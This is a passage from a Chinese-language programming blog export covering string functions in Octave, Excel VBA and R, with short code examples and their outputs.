0-9，中括弧包起來的部份是選擇性的（可有可無）。\n傳回值的 num 是轉換出來的數值資料，若轉換失敗（例如傳入的字串格式不正確時）則 status 會設為 -1，而 num 會設為 NaN。傳回值 status 在轉換成功時會被設為 0，否則會被設為 -1。\nstrarray 是一個字串的巢狀陣列。\n若 str 是一個字元陣列或是字串的巢狀陣列，則 num 與 status 會傳回對應大小的矩陣。str 亦可以包含多個元素，各元素之間以行與列的分隔符號（cdelim 與 rdelim）分隔。\ncdelim 為行（column）的分隔符號，預設為 Tab、空白（Space）與逗號（Comma）（ASCII 碼為 9、32 與 44）；rdelim 為列（row）的分隔符號，預設為 newline、carriage return 與 semicolon（ASCII 碼為 10、13 與 59）；ddelim 為數字的分隔符號（decimal delimiter），預設為句點（.）（ASCII 碼為 46）。cdelim、rdelim 與 ddelim 可以使用的字原有：null、newline、carriage return、semicolon、colon、slash、tab、space、comma 或 '()[]{}'（ASCII 碼為 0, 9, 10, 11, 12, 13, 14, 32, 33, 34, 40, 41, 44, 47, 58, 59, 91, 93, 123, 124, 125）\n以下是一些範例：\nstr2double (\u0026#34;-.1e-5\u0026#34;) 輸出為\nans = -1.0000e-06 str2double (\u0026#34;.314e1, 44.44e-1, .7; -1e+1\u0026#34;) 輸出為\nans = 3.14000 4.44400 0.70000 -10.00000 NaN NaN line = \u0026#34;200, 300, NaN, -inf, yes, no, 999, maybe, NaN\u0026#34;; [x, status] = str2double (line) 輸出為\nx = 200 300 NaN -Inf NaN NaN 999 NaN NaN status = 0 0 0 0 -1 -1 0 -1 0 str2double() 函數與 str2num() 函數功能類似，但 str2double() 函數不是使用 eval 的方式進行轉換，因此無法處理未知的數值格式。\nstrjust (s, align) strjust(s, align) 函數會將字串 s 依照參數 align 所指定的方式對齊字串，參數 align 可用的選項有 \u0026quot;left\u0026quot;、\u0026quot;center\u0026quot; 與 \u0026quot;right\u0026quot;，若沒有指定 align 參數則預設為 \u0026quot;right\u0026quot;。若 s 為字串陣列，則會對齊陣列中每一個字串。字串中的 null 字元會被替換成空白字元。例如：\nstrjust ([\u0026#34;a\u0026#34;; \u0026#34;ab\u0026#34;; \u0026#34;abc\u0026#34;; \u0026#34;abcd\u0026#34;]) 輸出為\nans = a ab abc abcd str2num (s) str2num(s) 函數會將字串 s 轉換為數值，若 s 為字元陣列則轉換結果為數值陣列，例如：\nstr2num(\u0026#34;3.141596\u0026#34;) 輸出為\nans = 3.1416 str2num([\u0026#34;1, 2, 3\u0026#34;; \u0026#34;4, 5, 6\u0026#34;]) 輸出為\nans = 1 2 3 4 5 6 str2num() 函數在轉換時是使用 eval() 函數做轉換，因此在 s 中所有的程式碼都會被執行，若要避免執行 s 之中的程式碼，可以使用 str2double() 替代 。\ntoascii (s) toascii(s) 函數會將字串 s 轉換為 ASCII 碼，例如：\ntoascii (\u0026#34;ASCII\u0026#34;) 輸出為\nans = 65 83 67 73 73 tolower (s) lower (s) tolower(s) 與 lower(s) 函數會將字串 s 中的大寫字母轉換為小寫字母，其餘的字元保持不變，例如：\ntolower (\u0026#34;MiXeD cAsE 123\u0026#34;) 輸出為\nans = mixed case 123 toupper (s) upper (s) toupper(s) 與 upper(s) 函數會將字串 s 中的小寫字母轉換為大寫字母，其餘的字元保持不變，例如：\ntoupper (\u0026#34;MiXeD cAsE 123\u0026#34;) 輸出為\nans = MIXED CASE 123 do_string_escapes (string) do_string_escapes(string) 函數會將字串 string 中的跳脫字元轉為對應的特殊字元，例如：\nstring = \u0026#39;abc\\ndef\u0026#39;; do_string_escapes(string) 輸出為\nans = abc def undo_string_escapes (s) undo_string_escapes(s) 函數會將字串 s 中的特殊字元轉換為跳脫字元，例如：\nbell = \u0026#34;\\a\u0026#34;; bell 是一個 alert 字元（Ctrl + g，ASCII 碼為 7），此字元在一般終端機輸出時會產生響鈴，有時候我們會需要輸出原本的跳脫字元：\nundo_string_escapes (bell) 輸出為\nans = \\a 這樣會將無法顯示在螢幕上的特殊字元以跳脫字元的方式顯示。\n字元類別函數（Character Class Functions） Octave 中提供了字元類別測試函數，這些函數類似 C 語言標準函式庫中的函數，但 Octave 所提供的函數可以接受字串陣列並傳回包含 0 或 1 的矩陣，1 代表在字串陣列中對應的字元測試結果為 true，`` 則代表 false，例如：\nisalpha (\u0026#34;!Q@WERT^Y\u0026amp;\u0026#34;) 輸出為\nans = 0 1 0 1 1 1 1 0 1 0 isalnum (s) isalnum(s) 判斷字串 s 是否為字母或數字。\nisalpha (s) isletter (s) 判斷字串 s 是否為字母（letter）。\nisascii (s) isascii(s) 函數會判斷字串 s 是否為 ASCII 字元（ASCII 碼介於 0 至 127）。\niscntrl (s) iscntrl(s) 函數會判斷字串 s 是否為控制字元（control character）。\nisdigit (s) isdigit(s) 函數會判斷字串 s 是否為數字（digit）。\nisgraph (s) isgraph(s) 函數會判斷字串 s 是否為可顯示字元（printable character，不包含空白字元）。\nisletter (s) isletter(s) 函數會判斷字串 s 是否為字母（letter）。\nislower (s) islower(s) 函數會判斷字串 s 是否為小寫字母。\nisprint (s) isprint(s) 函數會判斷字串 s 是否為可顯示字元（printable character，包含空白字元）。\nispunct (s) ispunct(s) 函數會判斷字串 s 是否為 punctuation character。\nisspace (s) isspace(s) 函數會判斷字串 s 是否為空白（包含 space、 formfeed、 newline、 carriage return、 tab 與 vertical tab）。\nisupper (s) isupper(s) 函數會判斷字串 s 是否為大寫字母。\nisxdigit (s) isxdigit(s) 函數會判斷字串 s 是否為十六進位的數字（hexadecimal digit）。\nisstrprop (str, pred) isstrprop(str, pred) 函數可以測試字串 str 的屬性，參數 pred 可指定屬性，例如：\nisstrprop (\u0026#34;abc123\u0026#34;, \u0026#34;alpha\u0026#34;) 輸出為\nans = 1 1 1 0 0 0 若 str 為一個巢狀陣列，則會以遞迴的方式對每個元素測試。以下是參數 pred 可用的選項：\n\u0026quot;alpha\u0026quot;：字母（letter）。 \u0026quot;alnum\u0026quot;、\u0026quot;alphanum\u0026quot;：字母或數字。 \u0026quot;ascii\u0026quot;：ASCII 字元（ASCII 碼介於 0 至 127）。 \u0026quot;cntrl\u0026quot;：控制字元（control character）。 \u0026quot;digit\u0026quot;：數字（digit）。 \u0026quot;graph\u0026quot;、\u0026quot;graphic\u0026quot;：可顯示字元（printable character，不包含空白字元）。 \u0026quot;lower\u0026quot;：小寫字母。 \u0026quot;print\u0026quot;：可顯示字元（printable character，包含空白字元）。 \u0026quot;punct\u0026quot;：punctuation character。 \u0026quot;space\u0026quot;、\u0026quot;wspace\u0026quot;：空白（包含 space、 formfeed、 newline、 carriage return、 tab 與 vertical tab）。 \u0026quot;upper\u0026quot;：大寫字母。 \u0026quot;xdigit\u0026quot;：十六進位的數字（hexadecimal digit）。 ","permalink":"https://blog.gtwang.org/octave/octave-strings/","summary":"\u003ch2 id=\"表示字串represent-string\"\u003e表示字串（Represent String）\u003c/h2\u003e\n\u003cp\u003eOctave 中的字串是指一連串使用單引號（\u003ccode\u003e'\u003c/code\u003e）或是雙引號（\u003ccode\u003e\u0026quot;\u003c/code\u003e）包起來的字元，字串的長度沒有特別的限制。例如：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-octave\" data-lang=\"octave\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;string 1\u0026#34;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#39;string 2\u0026#39;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在 Octave 中，單引號也用在矩陣的轉置運算上，而雙引號並沒有別的功能，因此為了避免混淆，建議盡量使用雙引號表示字串。\u003c/p\u003e","title":"Octave 字串（String）"},{"content":"這裡將介紹 Excel VBA 中各種字串的操作方式與相關的功能函數，並且提供各式常見的使用範例程式碼。\n在使用 Excel VBA 處理資料時，通常除了數值的資料之外，文字的資料處理也是很常會遇到的工作，而相較於運算很單純的數值，文字的處理又更複雜了一些，例如轉換大小寫、取出部分的文字、比較或取代文字等，通常文字在處理時，都需要根據不同的問題來撰寫 VBA 程式碼，以下我們會說明各種常見的字串處理函數，並且提供各種常見的範例程式給大家參考。\n字串的宣告與定義 VBA 中的 String 就是用來儲存字串（文字）的變數類型，其宣告與定義的方式跟一般的數值變數類似，而字串的內容在指定時要用雙引號包起來，例如：\nDim mystr As String mystr = \u0026#34;This is a message!!!\u0026#34; 上面這兩行宣告了一個 mystr 字串變數，並且把該變數的內容設定為 This is a message!!!。\n另外我們也可以利用 String 函數來建立重複字元的字串，例如：\nDim text1, text2 As String text1 = String(6, \u0026#34;A\u0026#34;) \u0026#39; 產生 AAAAAA text2 = String(3, 100) \u0026#39; 產生 ddd String 第一個參數是指定要產生的字串長度，而第二個參數則是指定重複的字元，除了直接用雙引號包起來的方式指定字元之外，也可以直接用 ASCII 的編碼指定，像這裡的 100 就是指 d 的 ASCII 編碼。\n連接字串 如果要將多個字串連接起來，可以使用 \u0026amp; 這個運算子，以下是將三個字串連接在一起的範例。\nDim text1 As String, text2 As String text1 = \u0026#34;Hello\u0026#34; text2 = \u0026#34;World\u0026#34; \u0026#39; 使用 \u0026amp; 連接字串 MsgBox text1 \u0026amp; \u0026#34;, \u0026#34; \u0026amp; text2 這裡我們定義了兩個字串變數 text1 與 text2，接著使用 \u0026amp; 把它們接在一起，並且在兩個英文單字之間加入一個逗號與空白。\n執行之後，就會輸出三個字串連接起來的結果。\n字串長度 在 VBA 中若要取得一個字串的長度，可以使用 Len 函數：\nMsgBox Len(\u0026#34;Hello, world.\u0026#34;) Len 函數的參數只有一個字串變數，呼叫 Len 之後它就會傳回該字串的長度：\nLen 傳回的數值是一個整數，我們也可以把它儲存在變數中做其他的運算：\nDim text As String text = \u0026#34;Hello World\u0026#34; Dim textLen As Integer textLen = Len(text) MsgBox \u0026#34;textLen = \u0026#34; \u0026amp; textLen 搜尋字串位置 若要尋找一個字串中某個子字串的位置，可以使用 InStr 函數：\nDim pos As Integer pos = InStr(\u0026#34;Hello, world.\u0026#34;, \u0026#34;world\u0026#34;) MsgBox \u0026#34;pos = \u0026#34; \u0026amp; pos InStr 第一個參數是放一個比較長的字串，而第二個參數則是放要搜尋的關鍵字，以這個例子來說它就會在 Hello, world. 這一個字串中尋找 world 出現的位置。\nInStr 預設在搜尋時，英文的大小寫是視為不同的，若希望不分大小寫，可將比對方式參數設定為 vbTextCompare：\nDim pos As Integer pos = InStr(1, \u0026#34;Hello, World.\u0026#34;, \u0026#34;world\u0026#34;, vbTextCompare) MsgBox \u0026#34;pos = \u0026#34; \u0026amp; pos 這裡的第一個參數是用來指定搜尋的起始位置，在上面的範例中我們將這個參數省略掉了，在這裡使用比對方式參數時就要加進來，這樣執行之後 InStr 在比對字串時就會將英文字母的大小寫視為相同的。\n在 Excel VBA 程式碼編輯器中輸入函數時，通常都會有這樣的參數用法提示。\n有些函數的參數非常多，若是忘記參數的詳細位置與順序時，就可以善用這個小技巧。\n如果想從字串的結尾處開始往左搜尋，則可改用 InStrRev：\nDim pos As Integer pos = InStrRev(\u0026#34;Hello, World.\u0026#34;, \u0026#34;l\u0026#34;) MsgBox \u0026#34;pos = \u0026#34; \u0026amp; pos 若要讓 InStrRev 搜尋時不分大小寫，可以這樣寫：\nDim pos As Integer pos = InStrRev(\u0026#34;Hello, WORLD.\u0026#34;, \u0026#34;l\u0026#34;, -1, vbTextCompare) MsgBox \u0026#34;pos = \u0026#34; \u0026amp; pos 第三個參數是搜尋起始點，預設值是 -1（從最右方開始搜尋），最後一個參數就是比對方式，用法同上。\n取出子字串 如果要從一段字串中取出部分的子字串，依據不同的狀況會有好幾種作法，以下是各種取出子字串的函數與用法。\n開頭子字串 如果想要取出一段文字中開頭的部分，可以使用 Left 函數：\nMsgBox Left(\u0026#34;Hello, world.\u0026#34;, 5) Left 的意思就是從左邊開始擷取子字串的意思，第一個參數是完整的字串，而第二個參數則是要擷取的子字串長度，執行結果如下：\n結尾子字串 如果想要取出一段文字中結尾的部分，可以使用 Right 函數，其用法跟 Left 類似，只是換成從右邊開始擷取子字串而已：\nMsgBox Right(\u0026#34;Hello, world.\u0026#34;, 6) 執行結果如下：\n任意位置子字串 如果要擷取的子字串位置不在文字的兩端，而是在文字的中間，則可使用 Mid 函數：\nMsgBox Mid(\u0026#34;This is a message.\u0026#34;, 6, 2) Mid 函數的第一個參數是完整的字串，第二個參數是要擷取的子字串位置（從左邊算起），而第三個參數則是要擷取的子字串長度，這個例子就會從 This is a message. 這段文字的第 6 個字元開始擷取，取出 2 個字元，執行結果如下。\n如果使用 Mid 時不指定擷取的字串長度，則 Mid 就會從指定的位置開始擷取直到整個字串的結尾，例如：\nMsgBox Mid(\u0026#34;This is a message.\u0026#34;, 6) 移除多餘的空白字元 如果在字串中除了主要的文字資料之外，前方還包含了多餘的空白字元，這時候就可以使用 Trim 系列的函數將多餘的空白移除。\n移除開頭空白字元 LTrim 函數可將字串左邊的空白移除：\nDim mystr As String mystr = \u0026#34; Hello, world.\u0026#34; MsgBox \u0026#34;After LTrim : \u0026#34; \u0026amp; LTrim(mystr) LTrim 會自動判斷字串開頭的空白字元長度，將左邊開頭所有的空白都刪除，執行結果為：\n移除結尾空白字元 如果空白位於字串結尾處，則可使用 RTrim，其用法與 LTrim 類似：\nDim mystr As String mystr = \u0026#34;Hello, world. \u0026#34; MsgBox \u0026#34;After RTrim : \u0026#34; \u0026amp; RTrim(mystr) 結尾的空白移除之後，執行結果與上面相同。\n移除開頭與結尾空白字元 如果要同時將前後兩端的所有空白字元都刪除，可以使用 Trim 函數：\nDim mystr As String mystr = \u0026#34; Hello, world. \u0026#34; MsgBox \u0026#34;After Trim : \u0026#34; \u0026amp; Trim(mystr) 開頭與結尾的空白移除之後，執行結果與上面相同。\n產生空白字元 如果需要特定長度的空白字串時，可以用 Space 來產生，例如：\nMsgBox (\u0026#34;Hello,\u0026#34; \u0026amp; Space(10) \u0026amp; \u0026#34;world.\u0026#34;) 字串取代 Replace 函數可以將字串中的指定的文字替換成其他的文字，這個函數的完整參數用法如下：\nReplace(字串, 搜尋文字, 替換文字[, 起始位置[, 替換次數[, 比對方式]]]) 最簡單的用法就是單純將字串中指定的文字替換掉：\nDim mystr As String mystr = \u0026#34;This is a message.\u0026#34; newstr = Replace(mystr, \u0026#34;message\u0026#34;, \u0026#34;dog\u0026#34;) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 這裡是將 mystr 中的 message 替換為 dog，結果如下：\n如果指定要替換的文字在整個字串中有出現好多次，Replace 預設會全部替換掉：\nDim mystr As String mystr = \u0026#34;This is a message.\u0026#34; newstr = Replace(mystr, \u0026#34;is\u0026#34;, \u0026#34;**\u0026#34;) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 這裡就會將字串中的兩個 is 都替換為 **，結果如下：\n如果只想要替換特定位置的文字，或是限制替換次數，可以搭配起始位置與替換次數兩個參數的方式來處理：\nDim mystr As String mystr = \u0026#34;This is a message.\u0026#34; newstr = Replace(mystr, \u0026#34;is\u0026#34;, \u0026#34;**\u0026#34;, 1, 1) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 這樣 Replace 就會從字串的開頭開始搜尋，只替換第一個比對成功的文字。\n如果要替換比較後面的文字，可以調整起始位置參數，不過 Replace 會自動將起始位置之前的文字截斷：\nDim mystr As String mystr = \u0026#34;This is a message.\u0026#34; newstr = Replace(mystr, \u0026#34;is\u0026#34;, \u0026#34;**\u0026#34;, 5, 1) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 執行結果如下：\n在預設的狀況下 Replace 會將英文字母的大小寫視為不同的字串：\nDim mystr As String mystr = \u0026#34;This Is a Message.\u0026#34; newstr = Replace(mystr, \u0026#34;is\u0026#34;, \u0026#34;**\u0026#34;) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 如果要讓 Replace 在比對時，不要區分英文字母的大小寫（大小寫視為相同），可以將比對方式參數指定為 vbTextCompare：\nDim mystr As String mystr = \u0026#34;This Is a Message.\u0026#34; newstr = Replace(mystr, \u0026#34;is\u0026#34;, \u0026#34;**\u0026#34;, 1, -1, vbTextCompare) MsgBox \u0026#34;After Replace : \u0026#34; \u0026amp; newstr 由於比對方式的參數是最後一個，所以在使用時要把前面的起始位置與替換次數兩個參數也都寫進去，這裡的替換次數設定為 -1 是代表不限制的意思，而比對方式預設值是 vbBinaryCompare（大小寫視為不同），這裡改為 vbTextCompare 之後，就可以同時比對字串中大寫與小寫的文字。\n字串比較 StrComp 可以比較不同字串之間的大小差異，在排序資料時常常會用到，其參數用法如下：\nStrComp(字串一, 字串二[, 比對方式]) 前兩個參數就是兩個要比較的字串，而第三個比對方式參數可用來指定是否區分大小寫，預設值是 vbBinaryCompare（大小寫視為不同），若設定為 vbTextCompare 則會將大小寫視為相同。\n而 StrComp 在比較兩個字串之後，會傳回不同的數值來代表不同的結果：\n狀況 StrComp 傳回數值 字串一 \u0026lt; 字串二 -1 字串一 = 字串二 0 字串一 \u0026gt; 字串二 1 以下是一些比較的範例：\nMsgBox StrComp(\u0026#34;Hello\u0026#34;, \u0026#34;Hello\u0026#34;) \u0026#39; 結果為 0 MsgBox StrComp(\u0026#34;Hello\u0026#34;, \u0026#34;HELLO\u0026#34;) \u0026#39; 結果為 1 MsgBox StrComp(\u0026#34;Hello\u0026#34;, \u0026#34;hello\u0026#34;) \u0026#39; 結果為 -1 MsgBox StrComp(\u0026#34;Hello\u0026#34;, \u0026#34;hello\u0026#34;, vbTextCompare) \u0026#39; 結果為 0 字串反轉 StrReverse 可將字串反轉：\nMsgBox StrReverse(\u0026#34;Hello, world.\u0026#34;) 大小寫轉換 UCase 與 LCase 可以將字串中的英文字母轉換為大寫或小寫：\nMsgBox UCase(\u0026#34;Hello, world.\u0026#34;) \u0026#39; HELLO, WORLD. MsgBox LCase(\u0026#34;Hello, world.\u0026#34;) \u0026#39; hello, world. 常見範例 從學號產生 Email 位址 假設我們在 Excel 檔有一系列的學號，而各個學生的 Email 位址都是依據學號來建立的。\n這樣我們就可以利用簡單的 VBA 程式將學號轉換成 Email 位址：\nDim sid, email As String For i = 2 To 7 sid = Cells(i, 1) email = sid \u0026amp; \u0026#34;@your.domain.com\u0026#34; Cells(i, 2) = email Next i 執行的結果如下：\n從 Email 取出學號 假設我們有一些固定格式的 Email 位址，而這些 Email 都是以一個英文字母 u 開頭，加上學生的學號組成的，實際資料如下：\n若要從中取出學號的部分（也就是數字的部分），可以這樣寫：\nDim sid, email As String For i = 2 To 7 email = Cells(i, 1) sid = Mid(email, 2, 7) Cells(i, 2) = sid Next i 執行的結果如下：\n房屋實價登錄資料 這是從政府資料開放平台上下載的房屋實價登錄資料。\n假設我要找出所有大安區信義路上房屋的平均單價，就可以使用一個 For 迴圈配合 InStr 來搜尋：\nDim street, price As String Dim s As Double Dim cnt As Integer s = 0 cnt = 0 For i = 2 To 948 street = Cells(i, 2) \u0026#39; 門牌 \u0026#39; 檢查門牌是否包含「大安區信義路」 If InStr(street, \u0026#34;大安區信義路\u0026#34;) \u0026gt; Then price = Cells(i, 5) \u0026#39; 單價 If Len(price) \u0026gt; 0 Then \u0026#39; 跳過沒有單價的資料 cnt = cnt + 1 \u0026#39; 計算建物總數 s = s + Val(price) \u0026#39; 計算建物單價總和 End If End If Next i MsgBox \u0026#34;建物總數 = \u0026#34; \u0026amp; cnt \u0026amp; vbCrLf _ \u0026amp; \u0026#34;平均單價 = \u0026#34; \u0026amp; Round(s / cnt) 這裡我們以一個 For 迴圈把每一筆房屋成交紀錄都跑過一次，把每一筆資料的門牌地址抓出來使用 InStr 比對，如果有包含大安區信義路 的字樣，就把該建物的單價記錄下來，最後即可求得整體的平均單價。\n由於有些資料的單價欄位是空白的，所以我們在使用單價欄位資料之前還要先以 Len 來檢查一下，確認這個欄位確實有資料之後，才將該筆資料納入計算。\n這裡的 Val 函數的用途是將字串資料轉換為數值，而輸出時所加入的 vbCrLf 是指換行的意思。\n這個範例的資料與 VBA 程式我放在這個 Excel 檔，有興趣的人可以下載回去執行。\n這裡我們只是拿房屋實價登錄資料來示範字串處理的應用方式，實際上房屋的價格評估當然沒有那麼單純，真正的重點在於熟練各種字串處理的相關函數，並結合各種迴圈與判斷結構，練習針對類型的文字資料撰寫對應的 VBA 程式碼。\n參考資料 Excel Easy tutorialspoint Excel VBA Programming ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-basic-string-manipulation/","summary":"\u003cp\u003e這裡將介紹 Excel VBA 中各種字串的操作方式與相關的功能函數，並且提供各式常見的使用範例程式碼。\u003c/p\u003e\n\u003cp\u003e在使用 Excel VBA 處理資料時，通常除了數值的資料之外，文字的資料處理也是很常會遇到的工作，而相較於運算很單純的數值，文字的處理又更複雜了一些，例如轉換大小寫、取出部分的文字、比較或取代文字等，通常文字在處理時，都需要根據不同的問題來撰寫 VBA 程式碼，以下我們會說明各種常見的字串處理函數，並且提供各種常見的範例程式給大家參考。\u003c/p\u003e","title":"Excel VBA：基本字串處理（String）"},{"content":"在處理資料時，除了數值資料之外，文字資料也是很常見的資料類型，尤其是在整理第一手的原始資料時，通常都會有非常大量的文字資料需要處理，而因子則是用於儲存類別型式的資料（categorical data），它的性質介於整數與字元變數之間，以下我們將介紹 R 的字串與因子使用方式。\n字串（String） 在 R 中文字的資料都是儲存在字元向量中，而字元向量中的每一個元素都是一個完整的字串（string）。\n這裡我們使用字串（string）這個名稱來稱呼字元向量的元素。\n建立與輸出字串 字元向量跟一般向量一樣可以使用 c 函數來建立，我們可以使用雙引號或單引號包住字串：\nc(\u0026#34;Hello\u0026#34;, \u0026#39;World\u0026#39;) [1] \"Hello\" \"World\" 若遇到字串中包含雙引號或單引號的情況，可以用反斜線（\\）來跳脫處理：\nc(\u0026#34;Hello, \\\u0026#34;World\\\u0026#34;\u0026#34;) [1] \"Hello, \\\"World\\\"\" 或是使用單引號包住含有雙引號的字串（反之亦可）：\nc(\u0026#39;Hello, \u0026#34;World\u0026#34;\u0026#39;) [1] \"Hello, \\\"World\\\"\" 如果要將多個字串連接起來，可以使用 paste 函數：\npaste(\u0026#34;Hello\u0026#34;, \u0026#34;World\u0026#34;) [1] \"Hello World\" paste 預設會使用一個空白字元當作分隔符號，將所有的字串連接起來，我們可以使用 sep 參數自行指定分隔字元：\npaste(\u0026#34;Hello\u0026#34;, \u0026#34;World\u0026#34;, sep = \u0026#34;-\u0026#34;) [1] \"Hello-World\" 如果不想要有任何分隔符號，可以使用 paste0 這個函數：\npaste0(\u0026#34;Hello\u0026#34;, \u0026#34;World\u0026#34;) [1] \"HelloWorld\" 如果遇到不同長度的字元向量時，較短的字元向量就會被重複使用：\npaste(c(\u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;), \u0026#34;apple\u0026#34;) [1] \"red apple\" \"green apple\" 若指定 collapse 參數，paste 就會使用這個參數所指定的內容當作分隔符號，將字元向量中所有的字串全部串接成一個字串：\npaste(c(\u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;), \u0026#34;apple\u0026#34;, collapse = \u0026#34;, \u0026#34;) [1] \"red apple, green apple\" toString 是一個類似 paste 的函數，他可以將各種向量轉為字串：\nx \u0026lt;- (1:10)^2 toString(x) [1] \"1, 4, 9, 16, 25, 36, 49, 64, 81, 100\" toString 加上 width 可以限制輸出字串的長度上限：\ntoString(x, width = 20) [1] \"1, 4, 9, 16, 25,....\" cat 函數是一個類似 paste 的低階函數，一般使用者不太會有機會需要使用到它，不過由於大部分 print 函數內部都會使用 cat 來輸出，所以多少了解一下會比較好。cat 會直接將所有的元素直接以字串輸出（不管向量長度）：\ncat(c(\u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;), \u0026#34;apple\u0026#34;, 1:3) red green apple 1 2 3 在 R 中一般的字串輸出時都會以雙引號包住，如果不想要讓字串出現雙引號，可以使用 noquote 函數來處理：\nx \u0026lt;- c(\u0026#34;If\u0026#34;, \u0026#34;people\u0026#34;, \u0026#34;do\u0026#34;, \u0026#34;not\u0026#34;, \u0026#34;believe\u0026#34;, \u0026#34;that\u0026#34;, \u0026#34;mathematics\u0026#34;, \u0026#34;is\u0026#34;, \u0026#34;simple,\u0026#34;, \u0026#34;it\u0026#34;, \u0026#34;is\u0026#34;, \u0026#34;only\u0026#34;, \u0026#34;because\u0026#34;, \u0026#34;they\u0026#34;, \u0026#34;do\u0026#34;, \u0026#34;not\u0026#34;, \u0026#34;realize\u0026#34;, \u0026#34;how\u0026#34;, \u0026#34;complicated\u0026#34;, \u0026#34;life\u0026#34;, \u0026#34;is\u0026#34;); x [1] \"If\" \"people\" \"do\" \"not\" [5] \"believe\" \"that\" \"mathematics\" \"is\" [9] \"simple,\" \"it\" \"is\" \"only\" [13] \"because\" \"they\" \"do\" \"not\" [17] \"realize\" \"how\" \"complicated\" \"life\" noquote(x) [1] If people do not believe [6] that mathematics is simple, it [11] is only because they do [16] not realize how complicated life [21] is 格式化數值 若要將數值的資料依據指定的格式轉換為字串，可以使用 formatC 這個函數，這個函數可以讓我們使用類似 C 語言的方式來指定輸出格式。\nx \u0026lt;- exp(1:3) x [1] 2.718282 7.389056 20.085537 formatC 函數的 digits 參數可以指定輸出數值的位數：\nformatC(x, digits = 5) [1] \"2.7183\" \"7.3891\" \"20.086\" format 參數可以指定輸出數值格式：\nformatC(x, digits = 5, format = \u0026#34;e\u0026#34;) [1] \"2.71828e+00\" \"7.38906e+00\" \"2.00855e+01\" width 可指定輸出字串長度，不足的部分則會以空白補齊：\nformatC(x, digits = 5, width = 8) [1] \" 2.7183\" \" 7.3891\" \" 20.086\" 在 R 中也有一個 sprintf 函數，它跟一般程式語言中的 sprintf 函數用法一樣，其第一個參數是輸出的樣板，第二個以後的參數則是要輸出的各種資料變數。\nitem \u0026lt;- \u0026#34;the apple\u0026#34; weight \u0026lt;- 3.2 sprintf(\u0026#34;The weight of %s is %f kg.\u0026#34;, item, weight) [1] \"The weight of the apple is 3.200000 kg.\" sprintf 也可以直接處理向量的輸出：\nitems \u0026lt;- c(\u0026#34;the apple\u0026#34;, \u0026#34;the banana\u0026#34;) weights \u0026lt;- c(3.2, 2.5) sprintf(\u0026#34;The weight of %s is %f kg.\u0026#34;, items, weights) [1] \"The weight of the apple is 3.200000 kg.\" [2] \"The weight of the banana is 2.500000 kg.\" %.1f 可以指定浮點數輸出至小數點以下第一位：\nsprintf(\u0026#34;The weight of %s is %.1f kg.\u0026#34;, items, weights) [1] \"The weight of the apple is 3.2 kg.\" [2] \"The weight of the banana is 2.5 kg.\" 以科學記號輸出，精確度到小數點下第二位：\nsprintf(\u0026#34;The weight of %s is %.2e kg.\u0026#34;, items, weights) [1] \"The weight of the apple is 3.20e+00 kg.\" [2] \"The weight of the banana is 2.50e+00 kg.\" 另外還有兩個用於格式化數值輸出的 format 與 prettyNum 函數，format 跟 formatC 類似，只是參數的用法有些小差異而已。\nformat(x, digits = 5) [1] \" 2.7183\" \" 7.3891\" \"20.0855\" format(x, digits = 5, trim = TRUE) [1] \"2.7183\" \"7.3891\" \"20.0855\" format(x, digits = 3, scientific = TRUE) [1] \"2.72e+00\" \"7.39e+00\" \"2.01e+01\" prettyNum 函數則適用於輸出比較大或比較小的數值：\nprettyNum(2^30, big.mark = \u0026#34;,\u0026#34;) [1] \"1,073,741,824\" prettyNum(1/2^20, small.mark = \u0026#34; \u0026#34;, scientific = FALSE) \"0.00000 09536 743\" 特殊字元 在字串中若要加入一些特殊字元（例如 tab 字元），可以運用跳脫字元的方式來處理：\ncat(\u0026#34;foo\\tbar\u0026#34;) foo\tbar 換行字元可使用 \\n：\ncat(\u0026#34;foo\\nbar\u0026#34;) foo bar 如果要輸入反斜線，則使用 \\\\：\ncat(\u0026#34;foo\\\\bar\u0026#34;) foo\\bar 單引號與雙引號也可以利用跳脫字元輸入：\ncat(\u0026#34;foo\\\u0026#34;bar\u0026#34;) foo\"bar cat(\u0026#39;foo\\\u0026#39;bar\u0026#39;) foo'bar 如果是以雙引號包住單引號，就可以不需要跳脫字元，反之亦然：\ncat(\u0026#39;foo\u0026#34;bar\u0026#39;) foo\"bar cat(\u0026#34;foo\u0026#39;bar\u0026#34;) foo'bar 另一個比較特別的字元是 alarm 字元（\\a），輸出這個字元時會讓喇叭產生聲響：\ncat(\u0026#34;\\a\u0026#34;) 輸出 alarm 字元的效果等同時呼叫 alarm 函數：\nalarm() 改變大小寫 如果要改變字串中英文字母的大小寫，可以運用 toupper 與 tolower 函數：\ntoupper(\u0026#34;Foo Bar\u0026#34;) [1] \"FOO BAR\" tolower(\u0026#34;Foo Bar\u0026#34;) [1] \"foo bar\" 子字串 若要從字串中取出一部分的子字串，可以使用 substr 或 substring 函數，這兩個函數的用法幾乎都相同，第一個參數是輸入的字串，第二與第三個參數則是子字串的開始與結束位置：\nsubstr(\u0026#34;abcdef\u0026#34;, 2, 4) [1] \"bcd\" substring(\u0026#34;abcdef\u0026#34;, 2, 4) [1] \"bcd\" substr 與 substring 只有在處理向量時會有一些小差異：\nx.strings \u0026lt;- c( \u0026#34;abcdefghij\u0026#34;, \u0026#34;ABCDEFGHIJ\u0026#34;, \u0026#34;1234567890\u0026#34; ) substr(x.strings, 1:4, 8) [1] \"abcdefgh\" \"BCDEFGH\" \"345678\" substring(x.strings, 1:4, 8) [1] \"abcdefgh\" \"BCDEFGH\" \"345678\" \"defgh\" 分割字串 